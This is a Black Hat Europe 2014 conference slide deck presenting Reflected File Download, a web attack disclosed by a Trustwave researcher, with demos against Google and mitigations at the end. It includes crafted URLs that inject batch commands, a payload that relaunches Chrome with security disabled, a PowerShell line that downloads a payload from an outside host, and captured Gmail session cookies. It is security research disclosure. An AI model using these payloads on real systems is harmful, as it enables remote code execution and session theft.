

# Reflected File Download A New Web Attack Vector

Oren Hafif  
Security Researcher  
Trustwave Spiderlabs

**Download executable files**

*from*

**Google.com & Bing.com**

**File executes, No warnings**  
*and*  
**Gains control over the Machine**

# Reflected File Download

*RFD is a web attack vector that enables attackers to gain complete control over a victims machine by virtually downloading a file from a trusted domain.*



**Oren Hafif**

11 mins · Tel Aviv ·


Critical Chrome Security Update

<https://www.google.com/s;/ChromeSetup.bat;...>

www.google.com

GOOGLE.COM

Like · Comment · Share



Write a comment...

Chat (Off)

ChromeSetup.bat

Show all downloads...



```
C:\Users\ohafif\Downloads>["\" || shutdown -r -t 59 | md || timeout 5 | md || shutdown -a || ",[],{"t":  
KCw17dVWihHqt8"}]  
'["\"' is not recognized as an internal or external command,  
operable program or batch file.  
The syntax of the command is incorrect.  
The syntax of the command is incorrect.
```



# Get your hands on that whitepaper!

## Reflected File Download A New Web Attack Vector

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Trustwave's SpiderLabs  
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Revision 1 (October 7, 2014)

### Abstract

Attackers would LOVE having the ability to upload executable files to domains like Google.com and Bing.com. How cool would it be for them if their files are downloaded without ever being uploaded! Yes, download without upload! RFD is a new web based attack that extends reflected attacks beyond the context of the web browser. Attackers can build malicious URLs which once accessed, download files, and store them with any desired extension, giving a new malicious meaning to reflected input, even if it is properly escaped. Moreover, this attack allows running shell commands on the victim's computer.

How bad is it? By using this attack on Google.com, Bing.com

@orenhafif

@spiderlabs

blog.spiderlabs.com



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**2 ½ Months Ago...**





  
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# Security Professionals



<http://thechive.com/2009/02/14/these-people-exist-part-3-25-photos/>

  
**black hat**  
EUROPE 2014

# Two Major Conferences

Every summer in Vegas



Black Hat



Competing  
Conference  
Name



# Security Professionals

That's Me!

Wow!

It is scary!

**Reflected File Download**  
uses the dark side of the  
force!

There is nothing more joyful for a security professional...



RIGHT?

...than being told that you are **RIGHT**  
by other security professionals!



# Reflected File Download A New Web Attack Vector


Oren Hafif  
Security Researcher  
Trustwave Spiderlabs

# Agenda

- Objectives
- Understand RFD
  - What?
  - Why?
  - How?
- Advanced Exploitation

# Agenda - **What** is RFD?

- DEMO!
- Analysis of the demo



# Agenda – **Why** RFD?

- **Motivation**
- **RFD exploitation capabilities and implications**
- **Trust Model for web downloads**

# Agenda – **How** RFD?

- How to Detect?
- How to Exploit?
- How to Prevent?



[✓] #78 – add cat pictures to slides

# About Myself...



> Age.round(**28**)=**30**



# About Myself...

Google



PayPal™

 Microsoft

Ore



Ha



if

IBM®

 Adobe


SAP

ORACLE®



# OBJECTIVES


# BREAKERS



**DETECT**  
**AND**  
**REPORT**  
**RFD ISSUES**

# DEFENDERS


**PREVENT**  
**AND BLOCK**  
**RFD**  
**ATTACKS**



# BUILDERS

DEVELOP  
SECURE  
APIS and  
WEB APPS





# Windows Calculator



**black hat**<sup>®</sup>  
EUROPE 2014

**DEMO**



Search for people, pages, or posts



+Open



Share



Communities

Recommended for you

Hangouts

Opening GlassInstaller.bat

You have chosen to open:  
 **GlassInstaller.bat**  
which is: bat File  
from: <https://www.google.com>  
Would you like to save this file?


Save File Cancel

Glass Explorer

A community for open public discussion of Google Glass Explorer Edition.



Explore.  
Google [x]



Public 29,157 members

Search community

Join community to post or comment

Join community



Hatechnion Hafif

Questions/Speculation - 6:46 PM

#GoogleGlass

Great news for the Google Glass Community. Google just launched a new Glass Emulator! [https://www.google.com/s;/GlassInstaller.bat;/GlassInstaller.bat?gs\\_r=psy-ab&q=%22%7c%7c%73%74%61%72%74%20%63%61%6c%63%7c%7c](https://www.google.com/s;/GlassInstaller.bat;/GlassInstaller.bat?gs_r=psy-ab&q=%22%7c%7c%73%74%61%72%74%20%63%61%6c%63%7c%7c)

+1



Add a comment...

# Glass Explorers


1 new

A community for open public discussion of Google Glass Explorer Edition.




# Explore.

Google [X]



Public 29,157 members

Search community



Join community

#GoogleGlass

community. Google just launched a new Glass  
[/GlassInstaller.bat](#);  
[/GlassInstaller.bat?gs\\_r=psy-ab&q=%227c%7c%73%74%61%72%74%20%63%61%6c%63%7c%7c](#)

+1

Add a comment...

# Demo: Let's talk about it...

- User clicked on a valid link to Google.com
- A malicious file got downloaded from Google.com
- The file executes immediately, once clicked.
- Windows calculator popped up (Pwned)!

No upload takes place...

A file is being downloaded...



Uploadless Downloads!

# RFD Implications (Why?)

- **Gain full control over the user's machine**
- Confidentiality – steal everything, install trojans
- Availability – delete everything, use cryptolockers
- Integrity – impersonate the user/website.
  
- Chrome: Get back into the Browser with Super Powers.



**HOW DO WE TRUST DOWNLOADS?**


## Top 150 Largest Banks (USA)

Following are the 150 U.S. financial institutions with the most deposits as of 31 Dec 2008 (in billions of U.S. dollars). For updated information, go to [www.fdic.gov](http://www.fdic.gov). Note: Click on the bank or credit union's name to go directly to their website.

Source: American Banker, 2009.


Rank	Name	Headquarters	Deposits (billions)
1	JP Morgan Chase & Co.	New York, NY	\$1,009
2	Bank of America	Charlotte, NC	\$884
3	Wells Fargo	San Francisco, CA	\$785

# The Web Model of Trust






# The Web Model of Trust




# How do we trust downloads?



## Scenario A




## Scenario B





**WHICH ONE WOULD YOU TRUST?**

# WHAT MAKES YOU TRUST A DOWNLOAD?





**4 OUT OF 5**

**WOULD TRUST DOWNLOADS  
BASED ON THE HOSTING DOMAIN**

**RFD uses such trust to do evil!**



**RFD REAL EXAMPLE, STEP BY STEP...**

# Google Autocomplete

The Google logo is displayed in its characteristic multi-colored font (blue, red, yellow, green, red) with a trademark symbol.

craigslist  
cnn  
costco  
cricinfo

<http://googlefails.tumblr.com/>

Google

americans think |

americans think **death is optional**  
americans think **they will be rich**  
americans think **pizza is a vegetable**  
americans think **europa is a country**  
americans think **they are the best**  
americans think **they will be millionaires**  
americans think **they are middle class**  
americans think **obama is a muslim**  
**americans think obama is a cactus**  
americans think **of british**

Google Search

I'm Feeling Lucky

# <http://googlefails.tumblr.com/>



why can't |

**why can't i own a canadian**

why can't i **sleep**

why can't **we be friends**

why can't i **lose weight**

why can't **we be friends lyrics**

why can't i **lyrics**

why can't **dogs eat grapes**

why can't i **find a job**

why can't **babies have honey**

why can't i **stop eating**

Google Search

I'm Feeling Lucky

# Google Autocomplete

The Google logo is displayed in its characteristic multi-colored font (blue, red, yellow, green, red) with a trademark symbol.

- craigslist
- cnn
- costco
- cricinfo

<https://google.com/s?q=rfd>



User



Web Server

HTTP/1.1 200 OK

Content-Type: application/json;

Content-Disposition: attachment

Content-Length: 12...

```
{"results":["q", "rfd", "I love rfd"]}
```

https://google.com/s?q=rfd"



User



Web Server

HTTP/1.1 200 OK

Content-Type: application/json;

Content-Disposition: attachment

Content-Length: 12...

```
{"results":["q", "rfd\\\"", "I love rfd"]}
```



It's all about the context...



It's all about the context...



https://google.com/s?q=rfd" | | calc | |



User




Web Server

```
HTTP/1.1 200 OK
Content-Type: application/json;
Content-Disposition: attachment
Content-Length: 12...


{"results":["q", "rfd\" | | calc | |", "I love
rfd"]}
```

```
{"results":["q", "rfd\\" | | calc | | ", "I love rfd"]}
```




A screenshot of a Windows command prompt window. The title bar shows the path `C:\Windows\system32\cmd.exe`. The command prompt shows the user `oren` at the `C:\Users\oren` directory. The user has entered the command `{"results":["q", "rfd\\"`, which has been truncated. The system response is: `The filename, directory name, or volume label syntax is incorrect.` The prompt then returns to `C:\Users\oren>` with a cursor.

`{"results":["q", "rfd\" OR calc| |", "I love rfd"]}`




A screenshot of a Windows command prompt window titled "C:\Windows\system32\cmd.exe". The prompt shows the user entering a command: `C:\Users\oren>{"results":["q", "rfd\"`. The system responds with the error message: `The filename, directory name, or volume label syntax is incorrect.` The prompt then returns to `C:\Users\oren>_`.

```
{"results":["q", "rfd\" | | calc | | ", "I love rfd"]}
```



```
{"results":["q", "rfd\| | TRUE | O | " | " | IGNORED | R | "]}
```



```
C:\Windows\system32\cmd.exe  
C:\Users\oren>{"results":["q", "rfd\  
The filename, directory name, or volume label syntax is incorrect.  
C:\Users\oren>calc
```

[https://google.com/s?q=rfd" | | calc | |](https://google.com/s?q=rfd)



User



Web Server

HTTP/1.1 200 OK

Content-Type: application/json;

Content-Disposition: attachment

Content-Length: 12...

```
{"results":["q", "rfd\" | | calc | |", "I love  
rfd"]}
```

[https://google.com/s;/setup.bat?q=rfd" | | calc |](https://google.com/s;/setup.bat?q=rfd)



User



Web Server



HTTP/1.1 200 OK

Content-Type: application/json;

Content-Disposition: attachment

Content-Length: 12...

```
{"results":["q", "rfd\" | | calc | |", "I love  
rfd"]}
```



User

[https://google.com/s;/setup.bat?q=rfd" | | calc | |](https://google.com/s;/setup.bat?q=rfd)



Web Server



```
HTTP/1.1 200 OK
Content-Type: application/json;
Content-Disposition: attachment
Content-Length: 12...

{"results":["q", "rfd\" | | calc | |", "I love
rfd"]}
```



User

[https://google.com/s;/setup.bat?q=rfd" | |calc | |](https://google.com/s;/setup.bat?q=rfd)



Web Server



```
HTTP/1.1 200 OK
Content-Type: application/json;
Content-Disposition: attachment
Content-Length: 12...

{"results":["q", "rfd\" | |calc | |", "I love
rfd"]}
```



User

https://google.com


;?q=rfd" | | calc | |



Web Server



Setup.bat




HTTP/1.1  
 Content-Type: text/html  
 Content-Disposition: inline  
 Content-Length: 1000

```

{"results":["q", "rfd\" | | calc | |", "I love rfd"]}

```

# How come there are no warnings?





# WINDOWS 7 SECURITY FEATURE BYPASS


# How come there are no warnings?

- Windows 7 bypass for batch files
- Works for the “.bat” and “.cmd” extensions.
- Completely disables all warnings!
- Files execute immediately

# Its all in the filename!

- **setup**
- **install**
- **update**

# VeryVeryBadUpdate.bat



# RFD



# RFD REQUIREMENTS

- **REFLECTED** – some input is reflected to the response body. --> shell commands
- **FILE** – attacker can tamper the filename.
- **DOWNLOAD** – the response is downloaded.

# **Where** can we find RFD?

- Any response with reflected input and less common Content-Type.
- JSON APIs and JSONP are extremely vulnerable.
- URL Mapping is Permissive (‘/’ , ‘;’)

# **Which** Exploit Should I Use?

- Use “.bat” and “.cmd” extensions for batch.
- Use “.js”, “.jse”, “.vbs”, “.wsh”, “.vbe”, “.wsf”, “.hta” for Windows Script Host fun.
- You can exploit other programs! E.g. “.pdf”

# Batch tricks

- **&** - Command Separator
- **&&** - AND
- **|** - Redirect Output
- **||** - OR
- **> < >> <<** - Stream Redirects
- **New Line**



# Force files to **DOWNLOAD**?

- Content-Disposition headers
- Chrome & Opera can force downloads using `<a download href="http://target/setup.bat">`
- Different Browser behavior! (Content-Types)

# Force files to **download**?

Content-Type	Chrome	Firefox	IE 10+	IE 9	IE 8	Opera	Safari
application/json	Green	Green	Green	Red	Red	Green	Green
application/x-javascript	Green	Green	.js	.js	Red	Green	Green
application/javascript	Green	Green	.js	.js	Red	Green	Green
application/notexist	Red	Red	Red	Red	Red	Red	Red
text/json	Green	Red	Red	Red	Red	Green	Green
text/x-javascript	Green	Red	Red	Red	Red	Green	Green
text/javascript	Green	Green	.js	.js	Red	Green	Green
text/plain	sniff*	sniff*	sniff	sniff	Red	sniff*	sniff
text/notexist	Green	Red	Red	Red	Red	Green	Green
application/xml	Green	Green	Green	Green	Green	Green	Green
text/xml	Green	Green	Green	Green	Green	Green	Green
text/html	Green	Green	Green	Green	Green	Green	Green
no content-type header	sniff*	sniff	sniff	sniff	Green	sniff*	sniff

Content-Type [with Content-Disposition]	Chrome	Firefox	IE 10+	IE 9	IE 8	Opera	Safari
application/json	Green	Green	Green	Red	Red	Green	Green
application/x-javascript	Green	Green	.js	.js	Red	Green	Green
application/javascript	Green	Green	.js	.js	Red	Green	Green
application/notexist	Red	Red	Red	Red	Red	Red	Red
text/json	Green	Red	Red	Red	Red	Green	Green
text/x-javascript	Green	Red	Red	Red	Red	Green	Green
text/javascript	Green	Green	.js	.js	Red	Green	Green
text/plain	sniff*	Green	Red	Red	Red	sniff*	Green
text/notexist	Green	Red	Red	Red	Red	Green	Green
application/xml	Green	Green	Green	Green	Green	Green	Green
text/xml	Green	Green	Green	Green	Green	Green	Green
text/html	Green	Green	Green	Green	Green	Green	Green
no content-type header	sniff*	sniff	Red	Red	Red	sniff*	Green

# ADVANCED EXPLOITATION

- Do as you wish... you are running cmds in OS.
- Use PowerShell to download the rest of the payload! (You can even ask for admin rights)

```
"//powershell (New-Object  
Net.WebClient).DownloadFile("http://pi.vu/B2jC", "5.bat")|md  
//start /min 5
```


- Get back to Chrome with Super Powers!

# How many command-line options?



Google Chrome

# OVER NINE HUNDREEEEDD!



# Let's use just 2 out of 973...

- `--disable-web-security`  
shuts down `same-origin-policy!`
- `--disable-popup-blocker`  
well...
- **Result: one big mess! YOU OWN CHROME!**



1 <http://www.google.com/s/ChromeSetup.bat?q=payload&...>



ChromeSetup.bat



Windows Batch File

3



4



5 <http://attacker-website.com/>



6

```
<script>  
win = open("http://mail.google.com");  
alert(win.document.body); // granted  
alert(win.document.cookie); //granted
```

# Let's create an exploit!



```
C:\Windows\system32\cmd.exe
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\Users\ohafif> ["\" || taskkill /F /IM ch* | md | start chrome pi.vu/B2jj --disable-web-security
--disable-popup-blocking | |, [{"t":{"bpc":false,"tlw":false},"q":"Xwxg4gmQoA9Zn6E2DjScDWXR
zbQ"}]
```

1 Result: '['\" is not recognized as an internal or external command, operable program or batch file.

2 || is the OR operator, since the left hand side failed, the right hand side will be executed.

3 Killing all tasks with names starting with "ch" – targeting "chrome.exe". Chrome will be closed.

4 | redirects the input to the next command

5 The md command creates new directories. Its only use here is to cause the expression to be false.

6 || same trick as before, continuing the execution since the last expression was false.

7 Starting Chrome at the attacker's URL without Web security and popup blocking.

8 || this time Chrome was started successfully, so the rest of the commands are ignored.



**DEMO**

Stealing emails from GMAIL



Search downloads

Downloads

[Open downloads folder](#) [Clear all](#)

Today  
Mar 17, 2014



[ChromeSetup.bat](#)

[https://www.google.com/s;/ChromeSetup.bat?gs\\_ri=psy-ab&q=%22%7c%7c%74%61%73%...](https://www.google.com/s;/ChromeSetup.bat?gs_ri=psy-ab&q=%22%7c%7c%74%61%73%...)

[Show in folder](#) [Remove from list](#)

**Domain**

**Cookie**

mail.google.com

gmailchat=hatechnion@gmail.com/531678; S=gmail=hVtMTNAVnsPsC1oNp8brwA; GMAIL\_AT=AF6bupPyKqw7ju5By2U1U3U  
PREF=ID=edbcbd84f6e69c0f:U=0dbd1e0a76d8cdec:FF=0:LD=en:CR=2:TM=1388580040:LM=1394537127:GM=1:S=A4yLTAzL  
qec67PAK; SAPISID=ZDFeZOEXCI5mokY1/A50zUOqmLBPjV2gEu;  
SID=DQAAAM4AAABYDoffAX9qVGdBUZ\_2kXS7eIGXhX\_Mg7Hhx8Ivu3E4p7O1V2XMQRH4OBfh0vfkjwSgVDW1vZUQ  
mLivnBHT5jDnE0SHkNuz1i1gWNqOYLiwfvQxWhaMNXn3bD8rlTnwRr5g5bsPRv881oMA-\_iyXwkvWdEEIjDzntpn0yotLQVP8  
wOLDCzYeOQDzyNHMI\_A80hlyIng2GQ5Ur



**DEMO**

**Cross-Social Network RFD Worm**

Free Firewall Booklet - Get "10 Things Your Next Firewall Must Do" Now!

Share an update...

**Oren Haif, CISSP** Shares Delete

I am just messing around a bit with my linkedin account. Security...  
[www.google.com/chrome/setup.bat](http://www.google.com/chrome/setup.bat) &  
Like · Comment · Share · 14s ago

**Keren Bizan** likes:

**mor basson** אם מעולה לחיפוש עבודה חדשה/דרוש/מסלול בע"ל/ות ניסיון למחלקת המסיים המובילה בתחומה: <http://linkd.in/duRs8Vn>

**Basic Job Search**  
tas-ey.taleo.net - Ernst & Young refers to one or more of the member firms of Ernst & Young Global Limited (EYG), a UK private company limited by guarantee. EYG is the principal governance entity of the global Ernst & Young organization and...  
Like (1) · Comment · Share · 38m ago

**Keren Bizan**  
Add a comment...

**Pesach Zirkind** likes:

**Kfir Twito** Happy Purim Infidel! Stay young forever!



**People You May Know**

- Monzur Morshed**, Founder  
Researcher at TigerHATS  
Connect
- Julia Mirski**, ERP Security  
Senior Consultant at Comse  
Connect
- Boaz Catane**, Information  
Security Consultant at Matr  
Connect

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**You Recently Visited**

- Or Zelig** 2nd  
Product Manager at Google  
Connect · Similar people

**Who's Viewed Your Profile**

- 15** Your profile has been viewed 15 people in the past 7 days.
- 22** You have shown up in search 22 times in the past 7 days.

**Who's Viewed Your Updates**

# How to Fix RFD?

- Use exact URL mapping – no wildcards!
- Do not escape! Encode! ~~\"~~ \u0022 or \x22
- Add Content-Disposition w/ filename att.:  
**Content-Disposition: attachment; filename=1.txt**
- Require Custom Headers for all APIs
- If possible use CSRF tokens

# How to Fix RFD - more?

- **Whitelist Callbacks – reflected by default!**
- **Enforce XSSI mitigation like for(;;);**
- **Never include user input in API usage errors.**
- **Remove support for Path Parameters (semicolons)**
- **X-Content-Type-Options: nosniff**

# Summary

- **Your site can be used to attack users!**
- **Attackers get full control of victims machine.**
- **A file is downloaded without being uploaded.**
- **Advanced exploitation (chrome/powershell) and bypasses (windows).**
- **Fix it! I am so scared!**

# Who is responsible?

*“We recognize that the address bar is the only reliable security indicator in modern browsers.”*

*The Google Vulnerability Reward Program Rules*

The logo for Black Hat Europe 2014, featuring a white silhouette of a person wearing a black hat inside a white circle, positioned above the text "black hat" in a bold, lowercase sans-serif font, with "EUROPE 2014" in a smaller, uppercase sans-serif font below it.

**black hat**<sup>®</sup>  
EUROPE 2014

The logo for Trustwave SpiderLabs, featuring a white spider icon to the left of the text "Trustwave" in a large, bold, sans-serif font, with "SpiderLabs" in a smaller, bold, sans-serif font below it.

**Trustwave**<sup>®</sup>  
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**THANK YOU!**

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